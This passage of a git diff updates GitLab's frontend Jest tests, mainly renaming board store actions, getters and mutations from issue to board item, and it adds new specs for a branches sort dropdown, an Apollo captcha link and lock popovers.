+ { dispatch: jest.fn(), commit: jest.fn(), state: stateWithBoardConfig },
+ { issueInput: issue, list: fakeList },
+ );
+
expect(gqlClient.mutate).toHaveBeenCalledWith({
mutation: issueCreateMutation,
variables: {
@@ -901,51 +1177,92 @@ describe('createNewIssue', () => {
expect(payload.assigneeIds).toEqual(['gid://gitlab/User/1', 'gid://gitlab/User/2']);
});
- it('should commit CREATE_ISSUE_FAILURE mutation when API returns an error', (done) => {
- jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
- data: {
- createIssue: {
- issue: mockIssue,
- errors: [{ foo: 'bar' }],
+ describe('when issue creation mutation request succeeds', () => {
+ it('dispatches a correct set of mutations', () => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ createIssue: {
+ issue: mockIssue,
+ errors: [],
+ },
},
- },
+ });
+
+ testAction({
+ action: actions.addListNewIssue,
+ payload: {
+ issueInput: mockIssue,
+ list: fakeList,
+ placeholderId: 'tmp',
+ },
+ state,
+ expectedActions: [
+ {
+ type: 'addListItem',
+ payload: {
+ list: fakeList,
+ item: formatIssue({ ...mockIssue, id: 'tmp' }),
+ position: 0,
+ },
+ },
+ { type: 'removeListItem', payload: { listId: fakeList.id, itemId: 'tmp' } },
+ {
+ type: 'addListItem',
+ payload: {
+ list: fakeList,
+ item: formatIssue({ ...mockIssue, id: getIdFromGraphQLId(mockIssue.id) }),
+ position: 0,
+ },
+ },
+ ],
+ });
});
-
- const payload = mockIssue;
-
- testAction(
- actions.createNewIssue,
- payload,
- state,
- [{ type: types.CREATE_ISSUE_FAILURE }],
- [],
- done,
- );
});
-});
-
-describe('addListIssue', () => {
- it('should commit ADD_ISSUE_TO_LIST mutation', (done) => {
- const payload = {
- list: mockLists[0],
- issue: mockIssue,
- position: 0,
- };
- testAction(
- actions.addListIssue,
- payload,
- {},
- [{ type: types.ADD_ISSUE_TO_LIST, payload }],
- [],
- done,
- );
+ describe('when issue creation mutation request fails', () => {
+ it('dispatches a correct set of mutations', () => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ createIssue: {
+ issue: mockIssue,
+ errors: [{ foo: 'bar' }],
+ },
+ },
+ });
+
+ testAction({
+ action: actions.addListNewIssue,
+ payload: {
+ issueInput: mockIssue,
+ list: fakeList,
+ placeholderId: 'tmp',
+ },
+ state,
+ expectedActions: [
+ {
+ type: 'addListItem',
+ payload: {
+ list: fakeList,
+ item: formatIssue({ ...mockIssue, id: 'tmp' }),
+ position: 0,
+ },
+ },
+ { type: 'removeListItem', payload: { listId: fakeList.id, itemId: 'tmp' } },
+ ],
+ expectedMutations: [
+ {
+ type: types.SET_ERROR,
+ payload: 'An error occurred while creating the issue. Please try again.',
+ },
+ ],
+ });
+ });
});
});
describe('setActiveIssueLabels', () => {
const state = { boardItems: { [mockIssue.id]: mockIssue } };
- const getters = { activeIssue: mockIssue };
+ const getters = { activeBoardItem: mockIssue };
const testLabelIds = labels.map((label) => label.id);
const input = {
addLabelIds: testLabelIds,
@@ -959,7 +1276,7 @@ describe('setActiveIssueLabels', () => {
.mockResolvedValue({ data: { updateIssue: { issue: { labels: { nodes: labels } } } } });
const payload = {
- issueId: getters.activeIssue.id,
+ itemId: getters.activeBoardItem.id,
prop: 'labels',
value: labels,
};
@@ -970,7 +1287,7 @@ describe('setActiveIssueLabels', () => {
{ ...state, ...getters },
[
{
- type: types.UPDATE_ISSUE_BY_ID,
+ type: types.UPDATE_BOARD_ITEM_BY_ID,
payload,
},
],
@@ -990,7 +1307,7 @@ describe('setActiveIssueLabels', () => {
describe('setActiveIssueDueDate', () => {
const state = { boardItems: { [mockIssue.id]: mockIssue } };
- const getters = { activeIssue: mockIssue };
+ const getters = { activeBoardItem: mockIssue };
const testDueDate = '2020-02-20';
const input = {
dueDate: testDueDate,
@@ -1010,7 +1327,7 @@ describe('setActiveIssueDueDate', () => {
});
const payload = {
- issueId: getters.activeIssue.id,
+ itemId: getters.activeBoardItem.id,
prop: 'dueDate',
value: testDueDate,
};
@@ -1021,7 +1338,7 @@ describe('setActiveIssueDueDate', () => {
{ ...state, ...getters },
[
{
- type: types.UPDATE_ISSUE_BY_ID,
+ type: types.UPDATE_BOARD_ITEM_BY_ID,
payload,
},
],
@@ -1039,9 +1356,15 @@ describe('setActiveIssueDueDate', () => {
});
});
-describe('setActiveIssueSubscribed', () => {
- const state = { boardItems: { [mockActiveIssue.id]: mockActiveIssue } };
- const getters = { activeIssue: mockActiveIssue };
+describe('setActiveItemSubscribed', () => {
+ const state = {
+ boardItems: {
+ [mockActiveIssue.id]: mockActiveIssue,
+ },
+ fullPath: 'gitlab-org',
+ issuableType: 'issue',
+ };
+ const getters = { activeBoardItem: mockActiveIssue, isEpicBoard: false };
const subscribedState = true;
const input = {
subscribedState,
@@ -1051,7 +1374,7 @@ describe('setActiveIssueSubscribed', () => {
it('should commit subscribed status', (done) => {
jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
data: {
- issueSetSubscription: {
+ updateIssuableSubscription: {
issue: {
subscribed: subscribedState,
},
@@ -1061,18 +1384,18 @@ describe('setActiveIssueSubscribed', () => {
});
const payload = {
- issueId: getters.activeIssue.id,
+ itemId: getters.activeBoardItem.id,
prop: 'subscribed',
value: subscribedState,
};
testAction(
- actions.setActiveIssueSubscribed,
+ actions.setActiveItemSubscribed,
input,
{ ...state, ...getters },
[
{
- type: types.UPDATE_ISSUE_BY_ID,
+ type: types.UPDATE_BOARD_ITEM_BY_ID,
payload,
},
],
@@ -1084,15 +1407,15 @@ describe('setActiveIssueSubscribed', () => {
it('throws error if fails', async () => {
jest
.spyOn(gqlClient, 'mutate')
- .mockResolvedValue({ data: { issueSetSubscription: { errors: ['failed mutation'] } } });
+ .mockResolvedValue({ data: { updateIssuableSubscription: { errors: ['failed mutation'] } } });
- await expect(actions.setActiveIssueSubscribed({ getters }, input)).rejects.toThrow(Error);
+ await expect(actions.setActiveItemSubscribed({ getters }, input)).rejects.toThrow(Error);
});
});
describe('setActiveIssueMilestone', () => {
const state = { boardItems: { [mockIssue.id]: mockIssue } };
- const getters = { activeIssue: mockIssue };
+ const getters = { activeBoardItem: mockIssue };
const testMilestone = {
...mockMilestone,
id: 'gid://gitlab/Milestone/1',
@@ -1115,7 +1438,7 @@ describe('setActiveIssueMilestone', () => {
});
const payload = {
- issueId: getters.activeIssue.id,
+ itemId: getters.activeBoardItem.id,
prop: 'milestone',
value: testMilestone,
};
@@ -1126,7 +1449,7 @@ describe('setActiveIssueMilestone', () => {
{ ...state, ...getters },
[
{
- type: types.UPDATE_ISSUE_BY_ID,
+ type: types.UPDATE_BOARD_ITEM_BY_ID,
payload,
},
],
@@ -1144,9 +1467,13 @@ describe('setActiveIssueMilestone', () => {
});
});
-describe('setActiveIssueTitle', () => {
- const state = { boardItems: { [mockIssue.id]: mockIssue } };
- const getters = { activeIssue: mockIssue };
+describe('setActiveItemTitle', () => {
+ const state = {
+ boardItems: { [mockIssue.id]: mockIssue },
+ issuableType: 'issue',
+ fullPath: 'path/f',
+ };
+ const getters = { activeBoardItem: mockIssue, isEpicBoard: false };
const testTitle = 'Test Title';
const input = {
title: testTitle,
@@ -1156,7 +1483,7 @@ describe('setActiveIssueTitle', () => {
it('should commit title after setting the issue', (done) => {
jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
data: {
- updateIssue: {
+ updateIssuableTitle: {
issue: {
title: testTitle,
},
@@ -1166,18 +1493,18 @@ describe('setActiveIssueTitle', () => {
});
const payload = {
- issueId: getters.activeIssue.id,
+ itemId: getters.activeBoardItem.id,
prop: 'title',
value: testTitle,
};
testAction(
- actions.setActiveIssueTitle,
+ actions.setActiveItemTitle,
input,
{ ...state, ...getters },
[
{
- type: types.UPDATE_ISSUE_BY_ID,
+ type: types.UPDATE_BOARD_ITEM_BY_ID,
payload,
},
],
@@ -1191,7 +1518,7 @@ describe('setActiveIssueTitle', () => {
.spyOn(gqlClient, 'mutate')
.mockResolvedValue({ data: { updateIssue: { errors: ['failed mutation'] } } });
- await expect(actions.setActiveIssueTitle({ getters }, input)).rejects.toThrow(Error);
+ await expect(actions.setActiveItemTitle({ getters }, input)).rejects.toThrow(Error);
});
});
@@ -1321,7 +1648,7 @@ describe('toggleBoardItemMultiSelection', () => {
testAction(
actions.toggleBoardItemMultiSelection,
boardItem2,
- { activeId: mockActiveIssue.id, activeIssue: mockActiveIssue, selectedBoardItems: [] },
+ { activeId: mockActiveIssue.id, activeBoardItem: mockActiveIssue, selectedBoardItems: [] },
[
{
type: types.ADD_BOARD_ITEM_TO_SELECTION,
@@ -1378,6 +1705,51 @@ describe('toggleBoardItem', () => {
});
});
+describe('setError', () => {
+ it('should commit mutation SET_ERROR', () => {
+ testAction({
+ action: actions.setError,
+ payload: { message: 'mayday' },
+ expectedMutations: [
+ {
+ payload: 'mayday',
+ type: types.SET_ERROR,
+ },
+ ],
+ });
+ });
+
+ it('should capture error using Sentry when captureError is true', () => {
+ jest.spyOn(Sentry, 'captureException');
+
+ const mockError = new Error();
+ actions.setError(
+ { commit: () => {} },
+ {
+ message: 'mayday',
+ error: mockError,
+ captureError: true,
+ },
+ );
+
+ expect(Sentry.captureException).toHaveBeenNthCalledWith(1, mockError);
+ });
+});
+
+describe('unsetError', () => {
+ it('should commit mutation SET_ERROR with undefined as payload', () => {
+ testAction({
+ action: actions.unsetError,
+ expectedMutations: [
+ {
+ payload: undefined,
+ type: types.SET_ERROR,
+ },
+ ],
+ });
+ });
+});
+
describe('fetchBacklog', () => {
expectNotImplemented(actions.fetchBacklog);
});
diff --git a/spec/frontend/boards/stores/getters_spec.js b/spec/frontend/boards/stores/getters_spec.js
index 32d73d861bc..6114ba0af5f 100644
--- a/spec/frontend/boards/stores/getters_spec.js
+++ b/spec/frontend/boards/stores/getters_spec.js
@@ -88,7 +88,7 @@ describe('Boards - Getters', () => {
});
});
- describe('activeIssue', () => {
+ describe('activeBoardItem', () => {
it.each`
id | expected
${'1'} | ${'issue'}
@@ -96,7 +96,7 @@ describe('Boards - Getters', () => {
`('returns $expected when $id is passed to state', ({ id, expected }) => {
const state = { boardItems: { 1: 'issue' }, activeId: id };
- expect(getters.activeIssue(state)).toEqual(expected);
+ expect(getters.activeBoardItem(state)).toEqual(expected);
});
});
@@ -105,14 +105,14 @@ describe('Boards - Getters', () => {
const mockActiveIssue = {
referencePath: 'gitlab-org/gitlab-test#1',
};
- expect(getters.groupPathForActiveIssue({}, { activeIssue: mockActiveIssue })).toEqual(
+ expect(getters.groupPathForActiveIssue({}, { activeBoardItem: mockActiveIssue })).toEqual(
'gitlab-org',
);
});
it('returns empty string as group path when active issue is an empty object', () => {
const mockActiveIssue = {};
- expect(getters.groupPathForActiveIssue({}, { activeIssue: mockActiveIssue })).toEqual('');
+ expect(getters.groupPathForActiveIssue({}, { activeBoardItem: mockActiveIssue })).toEqual('');
});
});
@@ -121,14 +121,16 @@ describe('Boards - Getters', () => {
const mockActiveIssue = {
referencePath: 'gitlab-org/gitlab-test#1',
};
- expect(getters.projectPathForActiveIssue({}, { activeIssue: mockActiveIssue })).toEqual(
+ expect(getters.projectPathForActiveIssue({}, { activeBoardItem: mockActiveIssue })).toEqual(
'gitlab-org/gitlab-test',
);
});
it('returns empty string as project path when active issue is an empty object', () => {
const mockActiveIssue = {};
- expect(getters.projectPathForActiveIssue({}, { activeIssue: mockActiveIssue })).toEqual('');
+ expect(getters.projectPathForActiveIssue({}, { activeBoardItem: mockActiveIssue })).toEqual(
+ '',
+ );
});
});
@@ -177,4 +179,31 @@ describe('Boards - Getters', () => {
expect(getters.activeGroupProjects(state)).toEqual([mockGroupProject1]);
});
});
+
+ describe('isIssueBoard', () => {
+ it.each`
+ issuableType | expected
+ ${'issue'} | ${true}
+ ${'epic'} | ${false}
+ `(
+ 'returns $expected when issuableType on state is $issuableType',
+ ({ issuableType, expected }) => {
+ const state = {
+ issuableType,
+ };
+
+ expect(getters.isIssueBoard(state)).toBe(expected);
+ },
+ );
+ });
+
+ describe('isEpicBoard', () => {
+ afterEach(() => {
+ window.gon = { features: {} };
+ });
+
+ it('returns false', () => {
+ expect(getters.isEpicBoard()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/boards/stores/mutations_spec.js b/spec/frontend/boards/stores/mutations_spec.js
index 33897cc0250..af6d439e294 100644
--- a/spec/frontend/boards/stores/mutations_spec.js
+++ b/spec/frontend/boards/stores/mutations_spec.js
@@ -1,3 +1,4 @@
+import { cloneDeep } from 'lodash';
import { issuableTypes } from '~/boards/constants';
import * as types from '~/boards/stores/mutation_types';
import mutations from '~/boards/stores/mutations';
@@ -9,6 +10,7 @@ import {
mockIssue2,
mockGroupProjects,
labels,
+ mockList,
} from '../mock_data';
const expectNotImplemented = (action) => {
@@ -25,6 +27,14 @@ describe('Board Store Mutations', () => {
'gid://gitlab/List/2': mockLists[1],
};
+ const setBoardsListsState = () => {
+ state = cloneDeep({
+ ...state,
+ boardItemsByListId: { 'gid://gitlab/List/1': [mockIssue.id] },
+ boardLists: { 'gid://gitlab/List/1': mockList },
+ });
+ };
+
beforeEach(() => {
state = defaultState();
});
@@ -335,7 +345,7 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.REQUEST_ADD_ISSUE);
});
- describe('UPDATE_ISSUE_BY_ID', () => {
+ describe('UPDATE_BOARD_ITEM_BY_ID', () => {
const issueId = '1';
const prop = 'id';
const value = '2';
@@ -353,8 +363,8 @@ describe('Board Store Mutations', () => {
describe('when the issue is in state', () => {
it('updates the property of the correct issue', () => {
- mutations.UPDATE_ISSUE_BY_ID(state, {
- issueId,
+ mutations.UPDATE_BOARD_ITEM_BY_ID(state, {
+ itemId: issueId,
prop,
value,
});
@@ -366,8 +376,8 @@ describe('Board Store Mutations', () => {
describe('when the issue is not in state', () => {
it('throws an error', () => {
expect(() => {
- mutations.UPDATE_ISSUE_BY_ID(state, {
- issueId: '3',
+ mutations.UPDATE_BOARD_ITEM_BY_ID(state, {
+ itemId: '3',
prop,
value,
});
@@ -384,41 +394,7 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.RECEIVE_ADD_ISSUE_ERROR);
});
- describe('MOVE_ISSUE', () => {
- it('updates boardItemsByListId, moving issue between lists', () => {
- const listIssues = {
- 'gid://gitlab/List/1': [mockIssue.id, mockIssue2.id],
- 'gid://gitlab/List/2': [],
- };
-
- const issues = {
- 1: mockIssue,
- 2: mockIssue2,
- };
-
- state = {
- ...state,
- boardItemsByListId: listIssues,
- boardLists: initialBoardListsState,
- boardItems: issues,
- };
-
- mutations.MOVE_ISSUE(state, {
- originalIssue: mockIssue2,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- });
-
- const updatedListIssues = {
- 'gid://gitlab/List/1': [mockIssue.id],
- 'gid://gitlab/List/2': [mockIssue2.id],
- };
-
- expect(state.boardItemsByListId).toEqual(updatedListIssues);
- });
- });
-
- describe('MOVE_ISSUE_SUCCESS', () => {
+ describe('MUTATE_ISSUE_SUCCESS', () => {
it('updates issue in issues state', () => {
const issues = {
436: { id: rawIssue.id },
@@ -429,7 +405,7 @@ describe('Board Store Mutations', () => {
boardItems: issues,
};
- mutations.MOVE_ISSUE_SUCCESS(state, {
+ mutations.MUTATE_ISSUE_SUCCESS(state, {
issue: rawIssue,
});
@@ -437,33 +413,24 @@ describe('Board Store Mutations', () => {
});
});
- describe('MOVE_ISSUE_FAILURE', () => {
- it('updates boardItemsByListId, reverting moving issue between lists, and sets error message', () => {
- const listIssues = {
- 'gid://gitlab/List/1': [mockIssue.id],
- 'gid://gitlab/List/2': [mockIssue2.id],
- };
+ describe('UPDATE_BOARD_ITEM', () => {
+ it('updates the given issue in state.boardItems', () => {
+ const updatedIssue = { id: 'some_gid', foo: 'bar' };
+ state = { boardItems: { some_gid: { id: 'some_gid' } } };
- state = {
- ...state,
- boardItemsByListId: listIssues,
- boardLists: initialBoardListsState,
- };
+ mutations.UPDATE_BOARD_ITEM(state, updatedIssue);
- mutations.MOVE_ISSUE_FAILURE(state, {
- originalIssue: mockIssue2,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- originalIndex: 1,
- });
+ expect(state.boardItems.some_gid).toEqual(updatedIssue);
+ });
+ });
- const updatedListIssues = {
- 'gid://gitlab/List/1': [mockIssue.id, mockIssue2.id],
- 'gid://gitlab/List/2': [],
- };
+ describe('REMOVE_BOARD_ITEM', () => {
+ it('removes the given issue from state.boardItems', () => {
+ state = { boardItems: { some_gid: {}, some_gid2: {} } };
+
+ mutations.REMOVE_BOARD_ITEM(state, 'some_gid');
- expect(state.boardItemsByListId).toEqual(updatedListIssues);
- expect(state.error).toEqual('An error occurred while moving the issue. Please try again.');
+ expect(state.boardItems).toEqual({ some_gid2: {} });
});
});
@@ -479,85 +446,89 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.RECEIVE_UPDATE_ISSUE_ERROR);
});
- describe('CREATE_ISSUE_FAILURE', () => {
- it('sets error message on state', () => {
- mutations.CREATE_ISSUE_FAILURE(state);
+ describe('ADD_BOARD_ITEM_TO_LIST', () => {
+ beforeEach(() => {
+ setBoardsListsState();
+ });
+
+ it.each([
+ [
+ 'at position 0 by default',
+ {
+ payload: {
+ itemId: mockIssue2.id,
+ listId: mockList.id,
+ },
+ listState: [mockIssue2.id, mockIssue.id],
+ },
+ ],
+ [
+ 'at a given position',
+ {
+ payload: {
+ itemId: mockIssue2.id,
+ listId: mockList.id,
+ atIndex: 1,
+ },
+ listState: [mockIssue.id, mockIssue2.id],
+ },
+ ],
+ [
+ "below the issue with id of 'moveBeforeId'",
+ {
+ payload: {
+ itemId: mockIssue2.id,
+ listId: mockList.id,
+ moveBeforeId: mockIssue.id,
+ },
+ listState: [mockIssue.id, mockIssue2.id],
+ },
+ ],
+ [
+ "above the issue with id of 'moveAfterId'",
+ {
+ payload: {
+ itemId: mockIssue2.id,
+ listId: mockList.id,
+ moveAfterId: mockIssue.id,
+ },
+ listState: [mockIssue2.id, mockIssue.id],
+ },
+ ],
+ ])(`inserts an item into a list %s`, (_, { payload, listState }) => {
+ mutations.ADD_BOARD_ITEM_TO_LIST(state, payload);
- expect(state.error).toBe('An error occurred while creating the issue. Please try again.');
+ expect(state.boardItemsByListId[payload.listId]).toEqual(listState);
});
- });
-
- describe('ADD_ISSUE_TO_LIST', () => {
- it('adds issue to issues state and issue id in list in boardItemsByListId', () => {
- const listIssues = {
- 'gid://gitlab/List/1': [mockIssue.id],
- };
- const issues = {
- 1: mockIssue,
- };
-
- state = {
- ...state,
- boardItemsByListId: listIssues,
- boardItems: issues,
- boardLists: initialBoardListsState,
- };
+ it("updates the list's items count", () => {
expect(state.boardLists['gid://gitlab/List/1'].issuesCount).toBe(1);
- mutations.ADD_ISSUE_TO_LIST(state, { list: mockLists[0], issue: mockIssue2 });
+ mutations.ADD_BOARD_ITEM_TO_LIST(state, {
+ itemId: mockIssue2.id,
+ listId: mockList.id,
+ });
- expect(state.boardItemsByListId['gid://gitlab/List/1']).toContain(mockIssue2.id);
- expect(state.boardItems[mockIssue2.id]).toEqual(mockIssue2);
expect(state.boardLists['gid://gitlab/List/1'].issuesCount).toBe(2);
});
});
- describe('ADD_ISSUE_TO_LIST_FAILURE', () => {
- it('removes issue id from list in boardItemsByListId and sets error message', () => {
- const listIssues = {
- 'gid://gitlab/List/1': [mockIssue.id, mockIssue2.id],
- };
- const issues = {
- 1: mockIssue,
- 2: mockIssue2,
- };
-
- state = {
- ...state,
- boardItemsByListId: listIssues,
- boardItems: issues,
- boardLists: initialBoardListsState,
- };
-
- mutations.ADD_ISSUE_TO_LIST_FAILURE(state, { list: mockLists[0], issueId: mockIssue2.id });
-
- expect(state.boardItemsByListId['gid://gitlab/List/1']).not.toContain(mockIssue2.id);
- expect(state.error).toBe('An error occurred while creating the issue. Please try again.');
+ describe('REMOVE_BOARD_ITEM_FROM_LIST', () => {
+ beforeEach(() => {
+ setBoardsListsState();
});
- });
- describe('REMOVE_ISSUE_FROM_LIST', () => {
- it('removes issue id from list in boardItemsByListId and deletes issue from state', () => {
- const listIssues = {
- 'gid://gitlab/List/1': [mockIssue.id, mockIssue2.id],
- };
- const issues = {
- 1: mockIssue,
- 2: mockIssue2,
- };
-
- state = {
- ...state,
- boardItemsByListId: listIssues,
- boardItems: issues,
- boardLists: initialBoardListsState,
- };
+ it("removes an item from a list and updates the list's items count", () => {
+ expect(state.boardLists['gid://gitlab/List/1'].issuesCount).toBe(1);
+ expect(state.boardItemsByListId['gid://gitlab/List/1']).toContain(mockIssue.id);
- mutations.ADD_ISSUE_TO_LIST_FAILURE(state, { list: mockLists[0], issueId: mockIssue2.id });
+ mutations.REMOVE_BOARD_ITEM_FROM_LIST(state, {
+ itemId: mockIssue.id,
+ listId: mockList.id,
+ });
- expect(state.boardItemsByListId['gid://gitlab/List/1']).not.toContain(mockIssue2.id);
- expect(state.boardItems).not.toContain(mockIssue2);
+ expect(state.boardItemsByListId['gid://gitlab/List/1']).not.toContain(mockIssue.id);
+ expect(state.boardLists['gid://gitlab/List/1'].issuesCount).toBe(0);
});
});
@@ -666,4 +637,14 @@ describe('Board Store Mutations', () => {
expect(state.selectedBoardItems).toEqual([]);
});
});
+
+ describe('SET_ERROR', () => {
+ it('Should set error state', () => {
+ state.error = undefined;
+
+ mutations[types.SET_ERROR](state, 'mayday');
+
+ expect(state.error).toBe('mayday');
+ });
+ });
});
diff --git a/spec/frontend/branches/components/sort_dropdown_spec.js b/spec/frontend/branches/components/sort_dropdown_spec.js
new file mode 100644
index 00000000000..16ed02bfa88
--- /dev/null
+++ b/spec/frontend/branches/components/sort_dropdown_spec.js
@@ -0,0 +1,91 @@
+import { GlSearchBoxByClick } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import SortDropdown from '~/branches/components/sort_dropdown.vue';
+import * as urlUtils from '~/lib/utils/url_utility';
+
+describe('Branches Sort Dropdown', () => {
+ let wrapper;
+
+ const createWrapper = (props = {}) => {
+ return extendedWrapper(
+ mount(SortDropdown, {
+ provide: {
+ mode: 'overview',
+ projectBranchesFilteredPath: '/root/ci-cd-project-demo/-/branches?state=all',
+ sortOptions: {
+ name_asc: 'Name',
+ updated_asc: 'Oldest updated',
+ updated_desc: 'Last updated',
+ },
+ ...props,
+ },
+ }),
+ );
+ };
+
+ const findSearchBox = () => wrapper.findComponent(GlSearchBoxByClick);
+ const findBranchesDropdown = () => wrapper.findByTestId('branches-dropdown');
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ }
+ });
+
+ describe('When in overview mode', () => {
+ beforeEach(() => {
+ wrapper = createWrapper();
+ });
+
+ it('should have a search box with a placeholder', () => {
+ const searchBox = findSearchBox();
+
+ expect(searchBox.exists()).toBe(true);
+ expect(searchBox.find('input').attributes('placeholder')).toBe('Filter by branch name');
+ });
+
+ it('should not have a branches dropdown when in overview mode', () => {
+ const branchesDropdown = findBranchesDropdown();
+
+ expect(branchesDropdown.exists()).toBe(false);
+ });
+ });
+
+ describe('when in All branches mode', () => {
+ beforeEach(() => {
+ wrapper = createWrapper({ mode: 'all' });
+ });
+
+ it('should have a search box with a placeholder', () => {
+ const searchBox = findSearchBox();
+
+ expect(searchBox.exists()).toBe(true);
+ expect(searchBox.find('input').attributes('placeholder')).toBe('Filter by branch name');
+ });
+
+ it('should have a branches dropdown when in all branches mode', () => {
+ const branchesDropdown = findBranchesDropdown();
+
+ expect(branchesDropdown.exists()).toBe(true);
+ });
+ });
+
+ describe('when submitting a search term', () => {
+ beforeEach(() => {
+ urlUtils.visitUrl = jest.fn();
+
+ wrapper = createWrapper();
+ });
+
+ it('should call visitUrl', () => {
+ const searchBox = findSearchBox();
+
+ searchBox.vm.$emit('submit');
+
+ expect(urlUtils.visitUrl).toHaveBeenCalledWith(
+ '/root/ci-cd-project-demo/-/branches?state=all',
+ );
+ });
+ });
+});
diff --git a/spec/frontend/captcha/apollo_captcha_link_spec.js b/spec/frontend/captcha/apollo_captcha_link_spec.js
new file mode 100644
index 00000000000..e7ff4812ee7
--- /dev/null
+++ b/spec/frontend/captcha/apollo_captcha_link_spec.js
@@ -0,0 +1,165 @@
+import { ApolloLink, Observable } from 'apollo-link';
+
+import { apolloCaptchaLink } from '~/captcha/apollo_captcha_link';
+import UnsolvedCaptchaError from '~/captcha/unsolved_captcha_error';
+import { waitForCaptchaToBeSolved } from '~/captcha/wait_for_captcha_to_be_solved';
+
+jest.mock('~/captcha/wait_for_captcha_to_be_solved');
+
+describe('apolloCaptchaLink', () => {
+ const SPAM_LOG_ID = 'SPAM_LOG_ID';
+ const CAPTCHA_SITE_KEY = 'CAPTCHA_SITE_KEY';
+ const CAPTCHA_RESPONSE = 'CAPTCHA_RESPONSE';
+
+ const SUCCESS_RESPONSE = {
+ data: {
+ user: {
+ id: 3,
+ name: 'foo',
+ },
+ },
+ errors: [],
+ };
+
+ const NON_CAPTCHA_ERROR_RESPONSE = {
+ data: {
+ user: null,
+ },
+ errors: [
+ {
+ message: 'Something is severely wrong with your query.',
+ path: ['user'],
+ locations: [{ line: 2, column: 3 }],
+ extensions: {
+ message: 'Object not found',
+ type: 2,
+ },
+ },
+ ],
+ };
+
+ const SPAM_ERROR_RESPONSE = {
+ data: {
+ user: null,
+ },
+ errors: [
+ {
+ message: 'Your Query was detected to be spam.',
+ path: ['user'],
+ locations: [{ line: 2, column: 3 }],
+ extensions: {
+ spam: true,
+ },
+ },
+ ],
+ };
+
+ const CAPTCHA_ERROR_RESPONSE = {
+ data: {
+ user: null,
+ },
+ errors: [
+ {
+ message: 'This is an unrelated error, captcha should still work despite this.',
+ path: ['user'],
+ locations: [{ line: 2, column: 3 }],
+ },
+ {
+ message: 'You need to solve a Captcha.',
+ path: ['user'],
+ locations: [{ line: 2, column: 3 }],
+ extensions: {
+ spam: true,
+ needs_captcha_response: true,
+ captcha_site_key: CAPTCHA_SITE_KEY,
+ spam_log_id: SPAM_LOG_ID,
+ },
+ },
+ ],
+ };
+
+ let link;
+
+ let mockLinkImplementation;
+ let mockContext;
+
+ const setupLink = (...responses) => {
+ mockLinkImplementation = jest.fn().mockImplementation(() => {
+ return Observable.of(responses.shift());
+ });
+ link = ApolloLink.from([apolloCaptchaLink, new ApolloLink(mockLinkImplementation)]);
+ };
+
+ function mockOperation() {
+ mockContext = jest.fn();
+ return { operationName: 'operation', variables: {}, setContext: mockContext };
+ }
+
+ it('successful responses are passed through', (done) => {
+ setupLink(SUCCESS_RESPONSE);
+ link.request(mockOperation()).subscribe((result) => {
+ expect(result).toEqual(SUCCESS_RESPONSE);
+ expect(mockLinkImplementation).toHaveBeenCalledTimes(1);
+ expect(waitForCaptchaToBeSolved).not.toHaveBeenCalled();
+ done();
+ });
+ });
+
+ it('non-spam related errors are passed through', (done) => {
+ setupLink(NON_CAPTCHA_ERROR_RESPONSE);
+ link.request(mockOperation()).subscribe((result) => {
+ expect(result).toEqual(NON_CAPTCHA_ERROR_RESPONSE);
+ expect(mockLinkImplementation).toHaveBeenCalledTimes(1);
+ expect(mockContext).not.toHaveBeenCalled();
+ expect(waitForCaptchaToBeSolved).not.toHaveBeenCalled();
+ done();
+ });
+ });
+
+ it('unresolvable spam errors are passed through', (done) => {
+ setupLink(SPAM_ERROR_RESPONSE);
+ link.request(mockOperation()).subscribe((result) => {
+ expect(result).toEqual(SPAM_ERROR_RESPONSE);
+ expect(mockLinkImplementation).toHaveBeenCalledTimes(1);
+ expect(mockContext).not.toHaveBeenCalled();
+ expect(waitForCaptchaToBeSolved).not.toHaveBeenCalled();
+ done();
+ });
+ });
+
+ describe('resolvable spam errors', () => {
+ it('re-submits request with spam headers if the captcha modal was solved correctly', (done) => {
+ waitForCaptchaToBeSolved.mockResolvedValue(CAPTCHA_RESPONSE);
+ setupLink(CAPTCHA_ERROR_RESPONSE, SUCCESS_RESPONSE);
+ link.request(mockOperation()).subscribe((result) => {
+ expect(result).toEqual(SUCCESS_RESPONSE);
+ expect(waitForCaptchaToBeSolved).toHaveBeenCalledWith(CAPTCHA_SITE_KEY);
+ expect(mockContext).toHaveBeenCalledWith({
+ headers: {
+ 'X-GitLab-Captcha-Response': CAPTCHA_RESPONSE,
+ 'X-GitLab-Spam-Log-Id': SPAM_LOG_ID,
+ },
+ });
+ expect(mockLinkImplementation).toHaveBeenCalledTimes(2);
+ done();
+ });
+ });
+
+ it('throws error if the captcha modal was not solved correctly', (done) => {
+ const error = new UnsolvedCaptchaError();
+ waitForCaptchaToBeSolved.mockRejectedValue(error);
+
+ setupLink(CAPTCHA_ERROR_RESPONSE, SUCCESS_RESPONSE);
+ link.request(mockOperation()).subscribe({
+ next: done.catch,
+ error: (result) => {
+ expect(result).toEqual(error);
+ expect(waitForCaptchaToBeSolved).toHaveBeenCalledWith(CAPTCHA_SITE_KEY);
+ expect(mockContext).not.toHaveBeenCalled();
+ expect(mockLinkImplementation).toHaveBeenCalledTimes(1);
+ done();
+ },
+ });
+ });
+ });
+});
diff --git a/spec/frontend/cascading_settings/components/lock_popovers_spec.js b/spec/frontend/cascading_settings/components/lock_popovers_spec.js
new file mode 100644
index 00000000000..585e6ac505b
--- /dev/null
+++ b/spec/frontend/cascading_settings/components/lock_popovers_spec.js
@@ -0,0 +1,152 @@
+import { GlPopover } from '@gitlab/ui';
+import { mountExtended, extendedWrapper } from 'helpers/vue_test_utils_helper';
+import LockPopovers from '~/namespaces/cascading_settings/components/lock_popovers.vue';
+
+describe('LockPopovers', () => {
+ const mockNamespace = {
+ full_name: 'GitLab Org / GitLab',
+ path: '/gitlab-org/gitlab/-/edit',
+ };
+
